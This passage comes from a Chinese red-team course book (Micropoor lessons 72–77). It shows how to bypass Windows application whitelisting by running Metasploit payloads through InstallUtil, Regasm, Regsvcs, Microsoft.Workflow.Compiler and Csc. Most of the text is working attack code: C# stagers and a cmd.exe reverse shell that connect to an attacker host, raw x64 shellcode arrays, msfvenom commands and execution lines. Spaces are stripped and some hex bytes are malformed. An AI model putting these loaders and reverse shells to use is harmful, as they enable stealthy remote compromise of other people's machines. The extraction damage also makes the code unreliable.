while(SRCDELibA<kFVRSNnpj) 62. 63. {SRCDELibA+=XXxIoIXNCle.Receive(qaYyFq,SRCDELibA+5,(kFVRSNnpj‐ SRCDELibA)<4096?(kFVRSNnpj‐SRCDELibA):4096,0);} 64. 65. byte[]TvvzOgPLqwcFFv=BitConverter.GetBytes((int)XXxIoIXNCle.Handle); 66. 67. Array.Copy(TvvzOgPLqwcFFv,0,qaYyFq,1,4);qaYyFq[0]=0xBF; 68. 69. returnqaYyFq;} 70. 71. staticvoidcmMtjerv(byte[]HEHUjJhkrNS){ 72. 73. if(HEHUjJhkrNS!=null){ 74. 75. UInt32WcpKfU=VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40); 76. 77. Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU),HEHUjJhkrNS.Length); 78. 79. IntPtrUhxtIFnlOQatrk=IntPtr.Zero; 80. 81. UInt32wdjYKFDCCf=0; 82. 83. IntPtrXVYcQxpp=IntPtr.Zero; 84. 85. UhxtIFnlOQatrk=CreateThread(0,0,WcpKfU,XVYcQxpp,0,refwdjYKFDCCf); 86. 87. WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF);}} 88. 89. publicstaticvoidLCIUtRN(){ 90. 91. byte[]IBtCWU=null;IBtCWU=ErlgHH("192.168.1.4",53); 92. 93. cmMtjerv(IBtCWU); 94. 第七十二课:基于白名单Installutil.exe执行payload第二季 -476- 本文档使用书栈(BookStack.CN)构建 95. }} installutil.snk596B Micropoor 第七十二课:基于白名单Installutil.exe执行payload第二季 -477- 本文档使用书栈(BookStack.CN)构建 Regasm为程序集注册工具,读取程序集中的元数据,并将所需的项添加到注册表中。RegAsm.exe是 MicrosoftCorporation开发的合法文件进程。它与Microsoft.NETAssembly RegistrationUtility相关联。 说明:Regasm.exe所在路径没有被系统添加PATH环境变量中,因此,REGASM命令无法识别。 具体参考微软官方文档: https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe- assembly-registration-tool 基于白名单Regasm.exe配置payload: Windows7默认位置: 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 Regasm简介: 配置攻击机msf: 第七十三课:基于白名单Regasm.exe执行payload第三季 -478- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/UMicropoor.dll 注:x86payload 1. usingSystem;usingSystem.Net;usingSystem.Linq;usingSystem.Net.Sockets; usingSystem.Runtime.InteropServices;usingSystem.Threading;using System.EnterpriseServices;usingSystem.Windows.Forms; 2. 3. namespaceHYlDKsYF 4. 5. { 6. 7. publicclasskxKhdVzWQXolmmF:ServicedComponent{ 8. 9. publickxKhdVzWQXolmmF(){Console.WriteLine("doge");} 10. 11. [ComRegisterFunction] 12. 13. publicstaticvoidRegisterClass(stringpNNHrTZzW) 14. 15. { 16. 靶机执行: 附录:Micropoor.cs 第七十三课:基于白名单Regasm.exe执行payload第三季 -479- 本文档使用书栈(BookStack.CN)构建 17. ZApOAKJKY.QYJOTklTwn(); 18. 19. } 20. 21. [ComUnregisterFunction] 22. 23. publicstaticvoidUnRegisterClass(stringpNNHrTZzW) 24. 25. { 26. 27. ZApOAKJKY.QYJOTklTwn(); 28. 29. } 30. 31. } 32. 33. publicclassZApOAKJKY 34. 35. {[DllImport("kernel32")]privatestaticexternUInt32HeapCreate(UInt32 FJyyNB,UInt32fwtsYaiizj,UInt32dHJhaXQiaqW); 36. 37. [DllImport("kernel32")]privatestaticexternUInt32HeapAlloc(UInt32 bqtaDNfVCzVox,UInt32hjDFdZuT,UInt32JAVAYBFdojxsgo); 38. 39. [DllImport("kernel32")]privatestaticexternUInt32RtlMoveMemory(UInt32 AQdEyOhn,byte[]wknmfaRmoElGo,UInt32yRXPRezIkcorSOo); 40. 41. [DllImport("kernel32")]privatestaticexternIntPtrCreateThread(UInt32 uQgiOlrrBaR,UInt32BxkWKqEKnp,UInt32lelfRubuprxr,IntPtrqPzVKjdiF,UInt32 kNXJcS,refUInt32atiLJcRPnhfyGvp); 42. 43. [DllImport("kernel32")]privatestaticexternUInt32WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD,UInt32VumUGj);staticbyte[]HMSjEXjuIzkkmo(stringaCWWUttzmy, intiJGvqiEDGLhjr){ 44. 45. IPEndPointYUXVAnzAurxH=newIPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr); 46. 47. SocketMXCEuiuRIWgOYze=newSocket(AddressFamily.InterNetwork, SocketType.Stream,ProtocolType.Tcp); 48. 49. try{MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH);} 第七十三课:基于白名单Regasm.exe执行payload第三季 -480- 本文档使用书栈(BookStack.CN)构建 50. 51. catch{returnnull;} 52. 53. byte[]Bjpvhc=newbyte[4]; 54. 55. MXCEuiuRIWgOYze.Receive(Bjpvhc,4,0); 56. 57. intIETFBI=BitConverter.ToInt32(Bjpvhc,0); 58. 59. byte[]ZKSAAFwxgSDnTW=newbyte[IETFBI+5]; 60. 61. intJFPJLlk=0; 62. 63. while(JFPJLlk<IETFBI) 64. 65. {JFPJLlk+=MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW,JFPJLlk+5,(IETFBI‐ JFPJLlk)<4096?(IETFBI‐JFPJLlk):4096,0);} 66. 67. byte[]nXRztzNVwPavq=BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle); 68. 69. Array.Copy(nXRztzNVwPavq,0,ZKSAAFwxgSDnTW,1,4);ZKSAAFwxgSDnTW[0]=0xBF; 70. 71. returnZKSAAFwxgSDnTW;} 72. 73. staticvoidTOdKEwPYRUgJly(byte[]KNCtlJWAmlqJ){ 74. 75. if(KNCtlJWAmlqJ!=null){ 76. 77. UInt32uuKxFZFwog=HeapCreate(0x00040000,(UInt32)KNCtlJWAmlqJ.Length,0); 78. 79. UInt32sDPjIMhJIOAlwn=HeapAlloc(uuKxFZFwog,0x00000008, (UInt32)KNCtlJWAmlqJ.Length); 80. 81. RtlMoveMemory(sDPjIMhJIOAlwn,KNCtlJWAmlqJ,(UInt32)KNCtlJWAmlqJ.Length); 82. 83. UInt32ijifOEfllRl=0; 84. 85. IntPtrihXuoEirmz=CreateThread(0,0,sDPjIMhJIOAlwn,IntPtr.Zero,0,ref ijifOEfllRl); 86. 87. WaitForSingleObject(ihXuoEirmz,0xFFFFFFFF);}} 88. 第七十三课:基于白名单Regasm.exe执行payload第三季 -481- 本文档使用书栈(BookStack.CN)构建 89. publicstaticvoidQYJOTklTwn(){ 90. 91. byte[]ZKSAAFwxgSDnTW=null;ZKSAAFwxgSDnTW=HMSjEXjuIzkkmo("192.168.1.4", 53); 92. 93. TOdKEwPYRUgJly(ZKSAAFwxgSDnTW); 94. 95. }}} Micropoor 第七十三课:基于白名单Regasm.exe执行payload第三季 -482- 本文档使用书栈(BookStack.CN)构建 Regsvcs为.NET服务安装工具,主要提供三类服务: 加载并注册程序集。 生成、注册类型库并将其安装到指定的COM+1.0应用程序中。 配置以编程方式添加到类的服务。 说明:Regsvcs.exe所在路径没有被系统添加PATH环境变量中,因此,Regsvcs命令无法识别。 具体参考微软官方文档: https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net- services-installation-tool 基于白名单Regsvcs.exe配置payload: Windows7默认位置: 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 Regsvcs简介: 配置攻击机msf: 第七十四课:基于白名单Regsvcs.exe执行payload第四季 -483- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeMicropoor.dll 注:x86payload 靶机执行: 附录:Micropoor.cs 第七十四课:基于白名单Regsvcs.exe执行payload第四季 -484- 本文档使用书栈(BookStack.CN)构建 1. usingSystem;usingSystem.Net;usingSystem.Linq;usingSystem.Net.Sockets; usingSystem.Runtime.InteropServices;usingSystem.Threading;using System.EnterpriseServices;usingSystem.Windows.Forms; 2. 3. namespacephwUqeuTRSqn 4. 5. { 6. 7. publicclassmfBxqerbXgh:ServicedComponent{ 8. 9. publicmfBxqerbXgh(){Console.WriteLine("Micropoor");} 10. 11. [ComRegisterFunction] 12. 13. publicstaticvoidRegisterClass(stringDssjWsFMnwwXL) 14. 15. { 16. 17. uXsiCEXRzLNkI.BBNSohgZXGCaD(); 18. 19. } 20. 21. [ComUnregisterFunction] 22. 23. publicstaticvoidUnRegisterClass(stringDssjWsFMnwwXL) 24. 25. { 26. 27. uXsiCEXRzLNkI.BBNSohgZXGCaD(); 28. 29. } 30. 31. } 32. 33. publicclassuXsiCEXRzLNkI 34. 35. {[DllImport("kernel32")]privatestaticexternUInt32HeapCreate(UInt32 pAyHWx,UInt32KXNJUcPIUymFNbJ,UInt32MotkftcMAIJRnW); 36. 37. [DllImport("kernel32")]privatestaticexternUInt32HeapAlloc(UInt32 yjmmncJHBrUu,UInt32MYjktCDxYrlTs,UInt32zyBAwQVBQbi); 38. 第七十四课:基于白名单Regsvcs.exe执行payload第四季 -485- 本文档使用书栈(BookStack.CN)构建 39. [DllImport("kernel32")]privatestaticexternUInt32RtlMoveMemory(UInt32 PorEiXBhZkA,byte[]UIkcqF,UInt32wAXQEPCIVJQQb); 40. 41. [DllImport("kernel32")]privatestaticexternIntPtrCreateThread(UInt32 WNvQyYv,UInt32vePRog,UInt32Bwxjth,IntPtrExkSdsTdwD,UInt32 KfNaMFOJVTSxbrR,refUInt32QEuyYka); 42. 43. [DllImport("kernel32")]privatestaticexternUInt32WaitForSingleObject(IntPtr pzymHg,UInt32lReJrqjtOqvkXk);staticbyte[]SVMBrK(stringMKwSjIxqTxxEO,int jVaXWRxcmw){ 44. 45. IPEndPointhqbNYMZQr=newIPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw); 46. 47. SocketLbLgipot=newSocket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp); 48. 49. try{LbLgipot.Connect(hqbNYMZQr);} 50. 51. catch{returnnull;} 52. 53. byte[]VKQsLPgLmVdp=newbyte[4]; 54. 55. LbLgipot.Receive(VKQsLPgLmVdp,4,0); 56. 57. intjbQtneZFbvzK=BitConverter.ToInt32(VKQsLPgLmVdp,0); 58. 59. byte[]cyDiPLJhiAQbw=newbyte[jbQtneZFbvzK+5]; 60. 61. intvyPloXEDJoylLbj=0; 62. 63. while(vyPloXEDJoylLbj<jbQtneZFbvzK) 64. 65. {vyPloXEDJoylLbj+=LbLgipot.Receive(cyDiPLJhiAQbw,vyPloXEDJoylLbj+5, (jbQtneZFbvzK‐vyPloXEDJoylLbj)<4096?(jbQtneZFbvzK‐vyPloXEDJoylLbj): 4096,0);} 66. 67. byte[]MkHUcy=BitConverter.GetBytes((int)LbLgipot.Handle); 68. 69. Array.Copy(MkHUcy,0,cyDiPLJhiAQbw,1,4);cyDiPLJhiAQbw[0]=0xBF; 70. 71. returncyDiPLJhiAQbw;} 第七十四课:基于白名单Regsvcs.exe执行payload第四季 -486- 本文档使用书栈(BookStack.CN)构建 72. 73. staticvoidZFeAPdN(byte[]hjErkNfmkyBq){ 74. 75. if(hjErkNfmkyBq!=null){ 76. 77. UInt32xYfliOUgksPsv=HeapCreate(0x00040000,(UInt32)hjErkNfmkyBq.Length,0); 78. 79. UInt32eSiulXLtqQO=HeapAlloc(xYfliOUgksPsv,0x00000008, (UInt32)hjErkNfmkyBq.Length); 80. 81. RtlMoveMemory(eSiulXLtqQO,hjErkNfmkyBq,(UInt32)hjErkNfmkyBq.Length); 82. 83. UInt32NByrFgKjVjB=0; 84. 85. IntPtrPsIqQCvc=CreateThread(0,0,eSiulXLtqQO,IntPtr.Zero,0,ref NByrFgKjVjB); 86. 87. WaitForSingleObject(PsIqQCvc,0xFFFFFFFF);}} 88. 89. publicstaticvoidBBNSohgZXGCaD(){ 90. 91. byte[]cyDiPLJhiAQbw=null;cyDiPLJhiAQbw=SVMBrK("192.168.1.4",53); 92. 93. ZFeAPdN(cyDiPLJhiAQbw); 94. 95. }}} Micropoor 第七十四课:基于白名单Regsvcs.exe执行payload第四季 -487- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,身体特别重要。 说明:Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中,因此, Microsoft.Workflow.Compiler命令无法识别。 基于白名单Microsoft.Workflow.Compiler.exe配置payload: Windows7默认位置: 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 2. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xmlMicropoor.tcp 配置攻击机msf: 靶机执行: 第七十六课:基于白名单Compiler.exe执行payload第六季 -488- 本文档使用书栈(BookStack.CN)构建 注:payload.cs需要用到System.Workflow.Activities 靶机执行: 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xmlMicropoor_rev1.cs 配置攻击机msf: 结合meterpreter: 第七十六课:基于白名单Compiler.exe执行payload第六季 -489- 本文档使用书栈(BookStack.CN)构建 payload生成: 1. msfvenom‐pwindows/x64/shell/reverse_tcpLHOST=192.168.1.4LPORT=53‐fcsharp 第七十六课:基于白名单Compiler.exe执行payload第六季 -490- 本文档使用书栈(BookStack.CN)构建 注:windows/shell/reverse_tcp 1. <?xmlversion="1.0"encoding="utf‐8"?> 2. 3. <CompilerInputxmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler" 4. 5. <filesxmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"> 6. 7. <d2p1:string>Micropoor.tcp</d2p1:string> 8. 9. </files> 10. 附录:poc.xml 第七十六课:基于白名单Compiler.exe执行payload第六季 -491- 本文档使用书栈(BookStack.CN)构建 11. <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Comp 12. 13. <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 14. 15. <compilerOptionsi:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 16. 17. <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"> </coreAssemblyFileName> 18. 19. <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 20. 21. <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 22. 23. <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generate 24. 25. <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateI 26. 27. <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeD 28. 29. <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 30. 31. <mainClassi:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 32. 33. <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"> </outputName> 第七十六课:基于白名单Compiler.exe执行payload第六季 -492- 本文档使用书栈(BookStack.CN)构建 34. 35. <tempFilesi:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 36. 37. <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWar 38. 39. <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">‐ 1</warningLevel> 40. 41. <win32Resourcei:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/> 42. 43. <d2p1:checkTypes>false</d2p1:checkTypes> 44. 45. <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode> 46. 47. <d2p1:compilerOptionsi:nil="true"/> 48. 49. <d2p1:generateCCU>false</d2p1:generateCCU> 50. 51. <d2p1:languageToUse>CSharp</d2p1:languageToUse> 52. 53. <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true"/> 54. 55. <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true"/> 56. 57. <d2p1:mtInfoi:nil="true"/> 58. 59. <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true"/> 60. 61. </parameters> 62. 63. </CompilerInput> 第七十六课:基于白名单Compiler.exe执行payload第六季 -493- 本文档使用书栈(BookStack.CN)构建 Micropoor.tcp: 1. usingSystem; 2. 3. usingSystem.Text; 4. 5. usingSystem.IO; 6. 7. usingSystem.Diagnostics; 8. 9. usingSystem.ComponentModel; 10. 11. usingSystem.Net; 12. 13. usingSystem.Net.Sockets; 14. 15. usingSystem.Workflow.Activities; 16. 17. publicclassProgram:SequentialWorkflowActivity 18. 19. { 20. 21. staticStreamWriterstreamWriter; 22. 23. publicProgram() 24. 25. { 26. 27. using(TcpClientclient=newTcpClient("192.168.1.4",53)) 28. 29. { 30. 31. using(Streamstream=client.GetStream()) 32. 33. { 34. 35. using(StreamReaderrdr=newStreamReader(stream)) 36. 37. { 38. 39. streamWriter=newStreamWriter(stream); 40. 第七十六课:基于白名单Compiler.exe执行payload第六季 -494- 本文档使用书栈(BookStack.CN)构建 41. StringBuilderstrInput=newStringBuilder(); 42. 43. Processp=newProcess(); 44. 45. p.StartInfo.FileName="cmd.exe"; 46. 47. p.StartInfo.CreateNoWindow=true; 48. 49. p.StartInfo.UseShellExecute=false; 50. 51. p.StartInfo.RedirectStandardOutput=true; 52. 53. p.StartInfo.RedirectStandardInput=true; 54. 55. p.StartInfo.RedirectStandardError=true; 56. 57. p.OutputDataReceived+=newDataReceivedEventHandler(CmdOutputDataHandler); 58. 59. p.Start(); 60. 61. p.BeginOutputReadLine(); 62. 63. while(true) 64. 65. { 66. 67. strInput.Append(rdr.ReadLine()); 68. 69. p.StandardInput.WriteLine(strInput); 70. 71. strInput.Remove(0,strInput.Length); 72. 73. } 74. 75. } 76. 77. } 78. 79. } 80. 81. } 82. 第七十六课:基于白名单Compiler.exe执行payload第六季 -495- 本文档使用书栈(BookStack.CN)构建 83. privatestaticvoidCmdOutputDataHandler(objectsendingProcess, DataReceivedEventArgsoutLine) 84. 85. { 86. 87. StringBuilderstrOutput=newStringBuilder(); 88. 89. if(!String.IsNullOrEmpty(outLine.Data)) 90. 91. { 92. 93. try 94. 95. { 96. 97. strOutput.Append(outLine.Data); 98. 99. streamWriter.WriteLine(strOutput); 100. 101. streamWriter.Flush(); 102. 103. } 104. 105. catch(Exceptionerr){} 106. 107. } 108. 109. } 110. 111. } 注:x64payload 1. usingSystem; 2. 3. usingSystem.Workflow.Activities; 4. 5. usingSystem.Net; 6. 7. usingSystem.Net.Sockets; Micropoor_rev1.cs: 第七十六课:基于白名单Compiler.exe执行payload第六季 -496- 本文档使用书栈(BookStack.CN)构建 8. 9. usingSystem.Runtime.InteropServices; 10. 11. usingSystem.Threading; 12. 13. classyrDaTlg:SequentialWorkflowActivity{ 14. 15. [DllImport("kernel32")]privatestaticexternIntPtrVirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32qjRsrljIMB,UInt32peXiTuE,UInt32AkpADfOOAVBZ); 16. 17. [DllImport("kernel32")]publicstaticexternboolVirtualProtect(IntPt rDStOGXQMMkP,uintCzzIpcuQppQSTBJ,uintJCFImGhkRqtwANx,outuintexgVpSg); 18. 19. [DllImport("kernel32")]privatestaticexternIntPtrCreateThread(UInt32 eisuQbXKYbAvA,UInt32WQATOZaFz,IntPtrAEGJQOn,IntPtrSYcfyeeSgPl,UInt32 ZSheqBwKtDf,refUInt32SZtdSB); 20. 21. [DllImport("kernel32")]privatestaticexternUInt32WaitForSingleObject(IntPtr KqJNFlHpsKOV,UInt32EYBOArlCLAM); 22. 23. publicyrDaTlg(){ 24. 25. byte[]QWKpWKhcs= 26. 27. {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 28. 29. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48, 30. 31. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9, 32. 33. 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41, 34. 35. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48, 36. 37. 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b, 38. 39. 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b, 40. 41. 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41, 42. 43. 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1, 44. 第七十六课:基于白名单Compiler.exe执行payload第六季 -497- 本文档使用书栈(BookStack.CN)构建 45. 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45, 46. 47. 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b, 48. 49. 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01, 50. 51. 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48, 52. 53. 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9, 54. 55. 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00, 56. 57. 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5, 58. 59. 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4, 60. 61. 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68, 62. 63. 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a, 64. 65. 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89, 66. 67. 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5, 68. 69. 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba, 70. 71. 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5, 72. 73. 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9, 74. 75. 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5, 76. 77. 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41, 78. 79. 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41, 80. 81. 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31, 82. 83. 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8, 84. 85. 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40, 86. 第七十六课:基于白名单Compiler.exe执行payload第六季 -498- 本文档使用书栈(BookStack.CN)构建 87. 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5, 88. 89. 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c, 90. 91. 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41, 92. 93. 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5}; 94. 95. IntPtrAmnGaO=VirtualAlloc(0,(UInt32)QWKpWKhcs.Length,0x3000,0x04); 96. 97. Marshal.Copy(QWKpWKhcs,0,(IntPtr)(AmnGaO),QWKpWKhcs.Length); 98. 99. IntPtroXmoNUYvivZlXj=IntPtr.Zero;UInt32XVXTOi=0;IntPtrpAeCTfwBS= IntPtr.Zero; 100. 101. uintBnhanUiUJaetgy; 102. 103. booliSdNUQK=VirtualProtect(AmnGaO,(uint)0x1000,(uint)0x20,out BnhanUiUJaetgy); 104. 105. oXmoNUYvivZlXj=CreateThread(0,0,AmnGaO,pAeCTfwBS,0,refXVXTOi); 106. 107. WaitForSingleObject(oXmoNUYvivZlXj,0xFFFFFFFF);} 108. 109. } Micropoor 第七十六课:基于白名单Compiler.exe执行payload第六季 -499- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,身体特别重要。 C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NETFrameWorkSDK安装在C盘,那么 你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便,你可以手 动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示 符,并切换到存放 test.cs文件的目录中,输入下列行命令: csc/target:exetest.cs 将Ttest.cs编译成名为 test.exe的console应用程序 说明:Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。 Windows7默认位置: 1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 2. C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.5Windows7 Csc.exe简介: 基于白名单Csc.exe配置payload: 配置攻击机msf: 第七十七课:基于白名单Csc.exe执行payload第七季 -500- 本文档使用书栈(BookStack.CN)构建 1. msfvenom‐pwindows/x64/shell/reverse_tcpLHOST=192.168.1.4LPORT=53‐fcsharp 配置payload: 第七十七课:基于白名单Csc.exe执行payload第七季 -501- 本文档使用书栈(BookStack.CN)构建 copybuf到Micropoor_Csc.csshellcode中。 靶机执行: 第七十七课:基于白名单Csc.exe执行payload第七季 -502- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe/r:System.Ente rpriseServices.dll/r:System.IO.Compression.dll/target:library/out:Mic opoor.exe/platform:x64/unsafeC:\Users\John\Desktop\Micropoor_Csc.cs 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false/UC:\Users\John\Desktop\Micropoor.exe 与第七十二课相比,payload更为灵活。 1. usingSystem; 2. 3. usingSystem.Net; 4. 5. usingSystem.Diagnostics; 6. 7. usingSystem.Reflection; 8. 9. usingSystem.Configuration.Install; 10. 11. usingSystem.Runtime.InteropServices; 12. 13. 14. //msfvenom‐pwindows/x64/shell/reverse_tcpLHOST=192.168.1.4LPORT=53‐f csharp 15. 16. publicclassProgram 附录:Micropoor_Csc.cs 第七十七课:基于白名单Csc.exe执行payload第七季 -503- 本文档使用书栈(BookStack.CN)构建 17. 18. { 19. 20. publicstaticvoidMain() 21. 22. { 23. 24. } 25. 26. 27. } 28. 29. [System.ComponentModel.RunInstaller(true)] 30. 31. publicclassSample:System.Configuration.Install.Installer 32. 33. { 34. 35. publicoverridevoidUninstall(System.Collections.IDictionarysavedState) 36. 37. { 38. 39. Shellcode.Exec(); 40. 41. } 42. 43. } 44. 45. publicclassShellcode 46. 47. { 48. 49. publicstaticvoidExec() 50. 51. { 52. 53. byte[]shellcode=newbyte[510]{ 54. 55. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 56. 57. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48, 58. 第七十七课:基于白名单Csc.exe执行payload第七季 -504- 本文档使用书栈(BookStack.CN)构建 59. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9, 60. 61. 